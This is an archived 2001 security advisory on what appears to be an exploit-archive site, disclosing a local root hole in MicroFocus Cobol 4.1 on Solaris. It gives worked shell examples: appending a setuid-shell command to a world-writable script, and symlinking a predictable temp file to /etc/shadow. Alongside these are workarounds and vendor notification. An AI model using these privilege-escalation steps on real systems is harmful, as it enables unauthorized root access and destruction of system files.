exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

mf.txt

mf.txt
Posted Aug 16, 2001
Authored by Echo8

Local root compromise in MicroFocus Cobol for Solaris/Sparc - If the AppTrack feature is enabled, the default install of MicroFocus Cobol 4.1 can be tricked into running code as root due to a permission problem.

tags | exploit, local, root
systems | solaris
SHA-256 | 6be64d2889f4def783b33e0ef5fcbe35a375d34660178a987267aed924cd2601

mf.txt

Change Mirror Download
    Potential Root Compromise in MicroFocus Cobol

Summary
-------

If the AppTrack feature is enabled, the default install of MicroFocus
Cobol 4.1 (Merant's commercial suite of cobol utilities) contains a
security hole which can lead to root compromise.

Specifics
---------

In the default install, /var/mfaslmf is installed mode 777, and
/var/mfaslmf/nolicense is installed mode 666. nolicense also contains the
following:

# Append into a logfile
if test ! -f /var/mfaslmf/USERLOG
then
touch /var/mfaslmf/USERLOG
chmod 666 /var/mfaslmf/USERLOG
fi
echo `date`:No license $* >> /var/mfaslmf/USERLOG

#mail a specified user (commented out by default. substitute the user
name)
echo `date`:No license $* > /var/mfaslmf/tmpmess
# mail -s "No AS license" user-name < /var/mfaslmf/tmpmess
rm /var/mfaslmf/tmpmess

This presents two major types of problem:

* Because of the permissions on nolicense, unprivileged users can edit the
file to insert arbitrary commands into the script. Then, if AppTrack is
enabled (see below) and the trigger condition occurs (again, see below),
that code can be executed with superuser privileges.

* The use of predictably-named temporary files in a world-writeable
directory can allow local users to append, overwrite or destroy arbitrary
files, even if nolicense itself is made non-world-writeable.

Examples
--------

Of the first problem:

$ id
uid=500(echo8) gid=10(users)
$ cat >> /var/mfaslmf/nolicense
/bin/cp /bin/ksh /tmp; chmod 4755 /tmp/ksh
^D

# create a condition under which all available AS licenses are used up.
# This should not be difficult. When this occurs, /var/mfaslmf/nolicense
# will run.

$ ls -alt /tmp/ksh
-rwsr-xr-x 1 root other 186356 Dec 26 17:04 /tmp/ksh
$ /tmp/ksh
# id
uid=500(echo8) gid=10(users) euid=0(root)
#

Of the second:

$ id
uid=500(echo8) gid=10(users)
$ cd /var/mfaslmf
$ ln -s /etc/shadow tmpmess

# Again, create a condition under which nolicense will run. This
# example will overwrite /etc/shadow.

$ cat /etc/shadow (would need to done as root, but you get the point...)
Tue Dec 26 17:08:45 EST 2000:No license
$

Conditions
----------

These holes can only be exploited if the AppTrack functionality is enabled.
This feature is off by default.

Vulnerable Versions
-------------------

4.1 for Solaris/sparc - only version tested.

Workarounds
-----------

Change the permissions on /var/mfaslmf and rewrite nolicense. According to
the documentation, nolicense is provided as "an example" and the user "can
edit the nolicense script to your requirements." IMO, example code with
serious security holes should NOT be distributed. If you don't need this
feature, delete the script. Regardless of whether or not you need AppTrack
to work, you should be able to change the permissions on /var/mfaslmf to
something safer.

Vendor Notification
-------------------

The vendor was notified on 12/26/2000.

Send comments to echo8@gh0st.net
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    8 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    11 Files
  • 23
    Apr 23rd
    68 Files
  • 24
    Apr 24th
    23 Files
  • 25
    Apr 25th
    16 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close